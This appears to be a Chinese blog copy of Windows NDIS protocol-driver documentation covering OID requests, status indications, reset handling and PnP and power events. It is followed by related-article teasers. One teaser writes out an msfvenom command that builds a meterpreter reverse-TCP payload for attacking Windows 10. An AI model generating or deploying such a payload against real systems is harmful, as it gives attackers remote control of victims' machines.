NDIS協議驅動(四)

NDIS 定義對象標識符 (OID) 值,以標識適配器參數,其中包括設備特征、可配置設置和統計信息等操作參數。 協議驅動程序可以查詢或設置基礎驅動程序的操作參數。

NDIS 還為 NDIS 6.1 及更高版本的協議驅動程序提供直接 OID 請求接口。 直接 OID 請求路徑支持頻繁查詢或設置的 OID 請求。 例如,IPsec 卸載版本 2 (IPsecv2) 接口為直接 OID 請求提供 OID_TCP_TASK_IPSEC_OFFLOAD_V2_ADD_SA OID。 直接 OID 請求接口對于 NDIS 驅動程序是可選的。

從 NDIS 協議驅動程序生成 OID 請求

為了向基礎驅動程序發出 OID 請求,協議調用 NdisOidRequest 函數。

下圖演示了協議驅動程序發起的 OID 請求。

在協議驅動程序調用 NdisOidRequest 函數后,NDIS 將調用下一個基礎驅動程序的請求函數。

若要同步完成, NdisOidRequest 將返回NDIS_STATUS_SUCCESS或錯誤狀態。 為了異步完成, NdisOidRequest 返回NDIS_STATUS_PENDING。

如果 NdisOidRequest 返回NDIS_STATUS_PENDING,則 NDIS 在基礎驅動程序完成 OID 請求后調用 ProtocolOidRequestComplete 函數。 在這種情況下,NDIS 在 ProtocolOidRequestComplete 的 OidRequest 參數中傳遞請求的結果。 NDIS 在 ProtocolOidRequestComplete 的 Status 參數中傳遞請求的最終狀態。

如果 NdisOidRequest 返回NDIS_STATUS_SUCCESS,它將在 OidRequest 參數的 NDIS_OID_REQUEST 結構中返回查詢請求的結果。 在這種情況下,NDIS 不調用 ProtocolOidRequestComplete 函數。

若要確定基礎驅動程序成功處理了哪些信息,發出 OID 請求的協議驅動程序必須在 OID 請求返回后檢查NDIS_OID_REQUEST結構中的 SupportedRevision 成員中的值。

如果基礎驅動程序應將 OID 請求與后續狀態指示相關聯,則協議驅動程序應在NDIS_OID_REQUEST結構中設置 RequestId 成員。 當基礎驅動程序發出狀態指示時,它會將 NDIS_STATUS_INDICATION 結構中的 RequestId 成員設置為 OID 請求中提供的值。

當綁定處于“正在重啟”、“正在運行”、“暫停”或“已暫停”狀態時,驅動程序可以調用 NdisOidRequest。

協議驅動程序直接 OID 請求

為了支持直接 OID 請求路徑,協議驅動程序在 NDIS_PROTOCOL_DRIVER_CHARACTERISTICS 結構中提供 ProtocolXxx 函數入口點,NDIS 為協議驅動程序提供 NdisXxx 函數。

直接 OID 請求接口類似于標準 OID 請求接口。 例如, NdisDirectOidRequest 和 ProtocolDirectOidRequestComplete 函數類似于 NdisOidRequest 和 ProtocolOidRequestComplete 函數。

注意 NDIS 6.1 及更高版本支持用于直接 OID 請求接口的特定 OID。 不支持在 NDIS 6.1 和某些 NDIS 6.1 OID 之前存在的 OID。

協議驅動程序同步 OID 請求

為了支持同步 OID 請求路徑,協議驅動程序調用 NdisSynchronousOidRequest 函數來發出同步 OID。

對于協議驅動程序, 同步 OID 請求接口 不同于常規和直接 OID 請求接口,即協議驅動程序不必實現異步 完整 回調函數,這是因為路徑的同步性質。

處理協議驅動程序中的狀態指示

協議驅動程序必須提供當基礎驅動程序報告狀態時 NDIS 調用的 ProtocolStatusEx 函數。

在基礎驅動程序 (NdisMIndicateStatus 或 NdisFIndicateStatus) 調用狀態指示函數后,NDIS 調用協議驅動程序的 ProtocolStatusEx 函數。?

如果狀態指示與 OID 請求相關聯,則基礎驅動程序可以設置 DestinationHandle 和 RequestId 成員,以便 NDIS 可以為特定協議綁定提供狀態指示。?

處理協議驅動程序中的 PnP 事件通知

除了特定于 NDIS 6.0 及更高版本的事件通知外,NDIS 6.0 及更高版本的協議驅動程序還處理與 NDIS 5.x 驅動程序相同的即插即用 (PnP) 事件通知。 PnP 事件通知的處理特定于驅動程序。

為了通知協議驅動程序網絡 PnP 事件,NDIS 調用驅動程序的 ProtocolNetPnPEvent 函數。 為了定義事件的類型和事件特征,NDIS 在 ProtocolNetPnPEvent 的 NetPnPEvent 事件參數中傳遞NET_PNP_EVENT_NOTIFICATION結構。

協議驅動程序應處理驅動程序堆棧更改。?不處理堆棧更改通知的協議驅動程序將從適配器取消綁定并反彈。 成功處理驅動程序堆棧通知的協議驅動程序綁定不受影響。

協議驅動程序中的可分頁和可丟棄代碼

驅動程序開發人員應盡可能將代碼指定為可分頁代碼,為必須駐留在內存中的代碼釋放系統空間。 可以使用 NDIS_PAGEABLE_FUNCTION 宏將函數標記為可分頁。 函數的 IRQL、資源管理功能和其他特征可能會禁止該函數可分頁。

每個 ProtocolXxx 函數在 IRQL 上運行,范圍從 PASSIVE_LEVEL 到 DISPATCH_LEVEL。 以 IRQL = PASSIVE_LEVEL 獨占方式運行的函數應標記為可分頁。

只要在 IRQL = PASSIVE_LEVEL 上運行的驅動程序函數既不調用也不由在 IRQL >= DISPATCH_LEVEL運行的任何函數(例如獲取旋轉鎖的函數)調用,就可以使該函數可分頁。 獲取旋轉鎖會導致獲取線程的 IRQL 提升為DISPATCH_LEVEL。 在 IRQL = PASSIVE_LEVEL運行的驅動程序函數(如 ProtocolBindAdapterEx)不得調用在 IRQL >= DISPATCH_LEVEL下運行的任何 NdisXxx 函數(如果該驅動程序函數被標記為可分頁代碼)。 有關每個 NdisXxx 函數的 IRQL 的詳細信息,請參閱 NDIS 庫函數。

應使用 NDIS_INIT_FUNCTION 宏將 NDIS 協議驅動程序的 DriverEntry 函數以及僅從 DriverEntry 調用 的代碼 指定為僅初始化代碼。 假定使用此宏標識的代碼在系統初始化時只運行一次,因此,僅在該時間內映射代碼。 在標記為“僅初始化”的函數返回后,該函數將被丟棄。

協議驅動程序重置操作

協議驅動程序無法在 NDIS 6.0 及更高版本中啟動重置操作。

通常,基礎微型端口驅動程序會重置 NIC,因為 NIC 在發送或請求操作期間超時。 此條件導致 NDIS 調用微型端口驅動程序的 MiniportCheckForHangEx 和隨后 的 MiniportResetEx 函數。 或者,微型端口驅動程序確定 NIC 的接收功能功能失調。

如果重置由 NDIS 啟動, 并且 MiniportResetEx 返回NDIS_STATUS_PENDING,則 NDIS 調用每個綁定協議驅動程序的 ProtocolStatusEx (或 ProtocolCoStatusEx) 函數,其狀態為 NDIS_STATUS_RESET_START。 當微型端口驅動程序調用 NdisMResetComplete 時,NDIS 會再次調用 ProtocolStatusEx (或 ProtocolCoStatusEx) ,其狀態為 NDIS_STATUS_RESET_END。

協議驅動程序必須處理在綁定到基礎 NIC 上的未完成發送可以取消的可能性,因為 NIC 已重置。 如果綁定的協議驅動程序有任何掛起的傳輸請求,NDIS 將指示以適當的狀態向協議驅動程序發送完成。 當重置操作完成后,協議驅動程序必須重新提交發送請求,前提是 NIC 再次正常運行。

當協議驅動程序收到NDIS_STATUS_RESET_START狀態時,它應:

保留已準備好傳輸的任何網絡數據 ,直到協議 Status 收到NDIS_STATUS_RESET_END通知。

不進行任何定向到基礎微型端口驅動程序的 NDIS 調用,但返回資源(如使用 NdisReturnNetBufferLists 返回網絡數據)的調用除外。

ProtocolStatusEx (或 ProtocolCoStatusEx) 收到NDIS_STATUS_RESET_END消息后,協議驅動程序可以繼續發送網絡數據和 OID 請求。

處理協議驅動程序中的 PnP 事件和電源管理事件

當操作系統向表示網絡接口卡 (NIC) 的目標設備對象發出即插即用 (PnP) I/O 請求數據包 (IRP) 或電源管理 IRP 時,NDIS 會截獲該 IRP。 NDIS 通過調用驅動程序的 ProtocolNetPnPEvent 函數,向每個綁定協議驅動程序和每個綁定中間驅動程序指示事件。 在對 ProtocolNetPnPEvent 的調用中,NDIS 傳遞指向包含NET_PNP_EVENT結構的 NET_PNP_EVENT_NOTIFICATION 的指針。 NET_PNP_EVENT結構描述要指示的 PnP 事件或電源管理事件。 有關協議驅動程序 PnP 接口的詳細信息,請參閱 處理協議驅動程序中的 PnP 事件通知。

以下列表包含 PnP 和電源管理事件,如 NET_PNP_EVENT 結構中的 NetEvent 代碼所示:

NetEventSetPower: 指示設置電源請求,該請求指定微型端口適配器應轉換為特定電源狀態。 電源管理感知協議驅動程序應始終通過返回NDIS_STATUS_SUCCESS成功此事件。 舊的協議驅動程序可以返回NDIS_STATUS_NOT_SUPPORTED,以指示 NDIS 應將其與微型端口適配器取消綁定。

發出設置電源請求后,如果微型端口適配器正在轉換為低功耗狀態,NDIS 將暫停驅動程序堆棧。 如果微型端口適配器正在轉換為工作狀態 (D0) ,則在設置電源請求之前,NDIS 會重啟驅動程序堆棧。?

如果微型端口適配器處于低功耗狀態,則協議驅動程序無法發出任何 OID 請求。 此要求是額外的電源管理限制,在驅動程序堆棧處于“已暫停”狀態時,將添加到其他限制中。

如果基礎微型端口適配器無法識別電源管理,微型端口驅動程序會將NDIS_MINIPORT_ADAPTER_GENERAL_ATTRIBUTES的 PowerManagementCapabilities 成員設置為 NULL,NDIS 將 NDIS_BIND_PARAMETERS 的 PowerManagementCapabilities 成員設置為 NULL。

注意 從 NDIS 6.30 開始,在收到此事件的通知后,協議驅動程序必須停止生成新的 I/O 請求,并且不應等待調用 ProtocolNetPnPEvent 的上下文中任何掛起的 I/O 請求完成。

NetEventQueryPower:指示查詢電源請求,該請求查詢基礎微型端口適配器是否可以轉換到特定電源狀態。 協議驅動程序應始終成功 NetEventQueryPower 。 建立活動連接后,協議驅動程序可以調用 PoRegisterSystemState 來注冊連續忙狀態。 只要狀態注冊生效,電源管理器就不會嘗試使系統進入睡眠狀態。 連接變為非活動狀態后,協議驅動程序通過調用 PoUnregisterSystemState 取消狀態注冊。 協議驅動程序絕不應嘗試通過使 NetEventQueryRemoveDevice 失敗來阻止系統轉換到睡眠狀態。 請注意, NetEventQueryPower 始終后跟 NetEventSetPower。 設置設備當前電源狀態的 NetEventSetPower 將取消 NetEventQueryPower。

注意 從 NDIS 6.30 開始,在收到此事件的通知后,協議驅動程序不應在調用 ProtocolNetPnPEvent 的上下文中等待任何掛起的 I/O 請求完成。

NetEventQueryRemoveDevice:指示查詢刪除設備請求,該請求查詢是否可以在不中斷操作的情況下刪除 NIC。 例如,如果協議驅動程序無法釋放設備 (因為設備正在使用) ,則必須通過返回NDIS_STATUS_FAILURE來使 NetEventQueryRemoveDevice 失敗。

NetEventCancelRemoveDevice:指示取消刪除設備請求,該請求取消刪除基礎 NIC。 協議驅動程序應始終通過返回NDIS_STATUS_SUCCESS成功此事件。

NetEventReconfigure:指示網絡組件的配置已更改。 例如,如果用戶更改 TCP/IP 的 IP 地址,NDIS 會使用 NetEventReconfigure 代碼向 TCP/IP 協議指示此事件。 在極少數情況下,如果協議驅動程序無法應用指示的配置更改并且沒有可用的默認值,則可能會返回失敗代碼。 分配內存的失敗嘗試是協議返回失敗代碼的一個示例。 返回錯誤代碼可能會導致提示用戶重啟系統。協議應驗證傳遞給其 ProtocolNetPnPEvent 函數的 NetEventReconfigure 相關數據。?

NetEventBindList:向協議驅動程序指示其綁定列表處理順序已重新配置。 此列表指示在處理時應用于協議綁定的相對順序,例如,可能路由到多個綁定之一的用戶請求。 隨此事件一起傳遞的緩沖區包含以 NULL 結尾的 Unicode 字符串格式的設備名稱列表。 每個設備名稱的格式與傳遞給 ProtocolBindAdapterEx 調用的 DeviceName 參數相同。協議應驗證傳遞給其 ProtocolNetPnPEvent 函數的 NetEventBindList 相關數據;協議應驗證傳遞給其 ProtocolNetPnPEvent 函數的 NetEventBindList 相關數據。?

NetEventBindsComplete:指示協議驅動程序已綁定到它可以綁定到的所有 NIC。 除非將 PnP NIC 插入系統,否則 NDIS 不會指示與協議驅動程序的更多綁定。

NetEventPnPCapabilities:指示用戶啟用或禁用基礎適配器的喚醒功能。 NDIS 傳遞給 ProtocolNetPnPEvent 的 ProtocolBindingContext 參數指定綁定。

NetEventPause:指示指定的協議綁定應進入暫停狀態。 NDIS 完成綁定的所有未完成發送請求后,綁定將進入“已暫停”狀態。

NetEventRestart:指示指定的協議綁定已進入“正在重啟”狀態。 協議驅動程序準備好恢復綁定的發送和接收操作后,綁定將進入“正在運行”狀態。?

NetEventPortActivation: 指示激活與指定綁定關聯的端口列表。?

NetEventPortDeactivation:指示停用與指定綁定關聯的端口列表。?

NetEventIMReEnableDevice:指示已更改 NDIS 6.0 或更高版本中間驅動程序的虛擬微型端口的配置。 NetEventIMReEnableDevice 類似于 NetEventReconfigure 事件,不同之處在于中間驅動程序接收單個虛擬微型端口的此事件, NetEventReconfigure 事件應用于所有中間驅動程序的虛擬微型端口。 例如,當用戶禁用然后從設備管理器或其他源啟用單個虛擬微型端口時,中間驅動程序會收到 NetEventIMReEnableDevice 事件。

NET_PNP_EVENT 結構的 Buffer 成員指向包含特定于所指示事件的信息的緩沖區。

協議驅動程序可以使用 NdisCompleteNetPnPEvent 異步完成對 ProtocolNetPnPEvent 的調用。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/18438.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/18438.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/18438.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

利用EasyCVR視頻智能監控技術,構建智慧化考場監管體系

隨著科技的進步,視頻監控在各個領域的應用越來越廣泛,其中在考場中的應用尤為顯著。視頻監控不僅能夠提高考場的監管水平,確保考試的公平、公正和公開,還能有效預防和打擊作弊行為,為考生營造一個良好的考試環境。 傳…

前后端分離跨域問題解決方案

Vue和SpringBoot的跨域問題的4中解決方案 跨域問題產生的原因:瀏覽器的保護機制,同源策略協議,域名,端口;三個中有一個不同就會產生跨域問題 解決方案(后端): 1.CrossOrigin注解&…

界面控件DevExtreme v23.2亮點 - 標簽、表單、編輯器功能升級

DevExtreme擁有高性能的HTML5 / JavaScript小部件集合,使您可以利用現代Web開發堆棧(包括React,Angular,ASP.NET Core,jQuery,Knockout等)構建交互式的Web應用程序。從Angular和Reac&#xff0c…

腦圖工具 在學習系統架構中的使用

系統,有人把它比作一個黑盒,有人比作一個樹洞。呃,其實二者都隱含的表達了一個意思,盤根錯節,一言難盡,欲說還休,說了又像是隔靴搔癢,感覺沒說透。 學習,理解和展示一個…

計算機組成原理----移碼

在網上搜索移碼是什么,大概率會搜到一個結論:移碼是補碼符號位取反,可是真的是這樣嗎? 傳統的有符號整數是將二進制數的首位作為符號位,0表示正數,1表示負數。 但在移碼中,我們不再使用單獨的符號位來表示正負。而是通過一個固定的偏置量來將所有可能的指數值映射到一個無符…

力扣每日一題 5/28

題目:2951-找出峰值 給你一個下標從 0 開始的數組 mountain 。你的任務是找出數組 mountain 中的所有 峰值。 以數組形式返回給定數組中 峰值 的下標,順序不限 。 注意: 峰值 是指一個嚴格大于其相鄰元素的元素。數組的第一個和最后一個元…

C語言.順序表.通訊錄

基于順序表示實現通訊錄 1.通訊錄項目的功能要求2.代碼實現3.頭文件處理4.通訊錄的具體實現4.1通訊錄的初始化與銷毀4.1.1通訊錄的初始化4.1.2通訊錄的初始化銷毀 4.2通訊錄的添加與刪除數據4.2.1通訊錄的添加數據4.2.1通訊錄的刪除數據 4.3通訊錄的修改4.4通訊錄的查找4.5通訊…

熟悉電腦快捷鍵(包含部分VS)

有很多不太電腦的小白,這里給大家一些常用快捷鍵,希望幫助到大家學習~ ctrl c 復制(保留原內容) ctrl v 粘貼 ctrl x 剪切(跟復制不一樣的地方在于原內容清空) ctrl z …

【python】OpenCV—Tracking(10.2)

文章目錄 BackgroundSubtractorcreateBackgroundSubtractorMOG2createBackgroundSubtractorKNN BackgroundSubtractor Opencv 有三種背景分割器 K-Nearest:KNN Mixture of Gaussian(MOG2) Geometric Multigid(GMG) …

AURIX TC3xx單片機介紹-啟動過程介紹2

AURIX TC377,TC387,TC397用戶啟動程序流程 用戶啟動程序是在Boot Firmware之后運行的程序(即用戶程序里的第一級Boot Loader,類似Linux的Uboot),初始化過程是CPU0完成的。用戶可以根據不同的復位事件來選擇不同的執行路徑。 AURITX 2代芯片的主要啟動過程如下(該階段只…

WebGL學習(一)渲染關系

學習webgl 開發理解渲染關系是必須的,也非常重要,很多人忽視了這個過程。 我這里先簡單寫一下,后面盡量用通俗易懂的方式,舉例講解。 WebGL,全稱Web Graphics Library,是一種在網頁上渲染3D圖形的技術。它…

C++模板元編程--函數萃取

在C中&#xff0c;std::declval是一個非常有用的模板函數&#xff0c;它是標準庫<utility>頭文件的一部分。它的主要作用是在不創建對象的情況下&#xff0c;獲取該類型的引用&#xff0c;從而允許在編譯時表達式中使用該類型的成員函數或成員變量&#xff0c;即使沒有默…

python中的-1是什么意思

python中的-1是什么意思&#xff1f; -1指的是索引&#xff0c;即列表的最后一個元素。 比如你輸入一個列表&#xff1a; a &#xff1d; [1,2,3,4,5,6,7] a[-1]就代表索引該列表最后一個值&#xff0c;你可以 b a[-1] print(b) 結果如下&#xff1a; 7 索引從左往右是…

P9712 「QFOI R1」貼貼

「QFOI R1」貼貼 題目描述 小 R 是一個可愛的女孩子&#xff0c;她希望通過給洛谷題目寫題解的方式跟出題人貼貼。 她發現&#xff0c;如果從題解界面點擊“提交題解”按鈕&#xff0c;博客中會自動生成 URL 標識符&#xff0c;也就是文章的鏈接。 其中&#xff0c;標識符的…

GB/T 33133.2-2021 《信息安全技術 祖沖之序列密碼算法 第2部分:保密性算法》標準介紹

編寫背景 在數字化時代&#xff0c;信息安全的重要性日益凸顯。為了加強數據傳輸和存儲的安全性&#xff0c;中國國家標準GB/T 33133.2-2021應運而生。這一標準是祖沖之序列密碼算法系列的第二部分&#xff0c;專注于保密性算法&#xff0c;旨在提供一種高效、安全的數據加密解…

升級鴻蒙4.2新變化,新增 WLAN 網絡自動連接開關!

手機已經成為現代人生活中不可或缺的一部分&#xff0c;手機里的功能可以滿足大部分人的生活場景&#xff0c;但是最依賴的應該就是手機網絡&#xff0c;手機網絡突然變差怎么辦——消息發不出去&#xff1f;刷新聞速度變慢&#xff1f;仔細檢查后&#xff0c;發現其實不是手機…

什么是邊緣計算?它為何如此重要?天拓四方

隨著信息技術的快速發展&#xff0c;數據處理和計算的需求日益增大&#xff0c;特別是在實時性要求極高的場景中&#xff0c;傳統的云計算模式面臨著巨大的挑戰。在這樣的背景下&#xff0c;邊緣計算作為一種新興的計算模式&#xff0c;正逐漸受到業界的廣泛關注。那么&#xf…

msfconsole攻擊win10及簡陋版

kali 攻擊機IP 192.168.1.19 win10 肉雞 192.168.1.15 使用 msfvenom 生成木馬 msfvenom -p windows/meterpreter/reverse_tcp lhost192.168.1.19 lport1234 -f exe >muma.exe 接下來把木馬復制到 /var/www/html下 開啟 service apache2 start 即可下載&#xff0c;需要做…

python數據分析——分組操作1

參考資料&#xff1a;活用pandas庫 1、簡介 借助“分割-應用-組合”&#xff08;split-apply-combine&#xff09;模式&#xff0c;分組操作可以有效地聚合、轉換和過濾數據。 分割&#xff1a;基于鍵&#xff0c;把要處理的數據分割為小片段。 應用&#xff1a;分別處理每個數…

Linux shell編程學習筆記51: cat /proc/cpuinfo:查看CPU詳細信息

0 前言 2024年的網絡安全檢查又開始了&#xff0c;對于使用基于Linux的國產電腦&#xff0c;我們可以編寫一個腳本來收集系統的有關信息。對于中央處理器CPU比如&#xff0c;我們可以使用cat /proc/cpuinfo命令來收集中央處理器CPU的信息。 1. /proc/cpuinfo 保存了系統的cpu…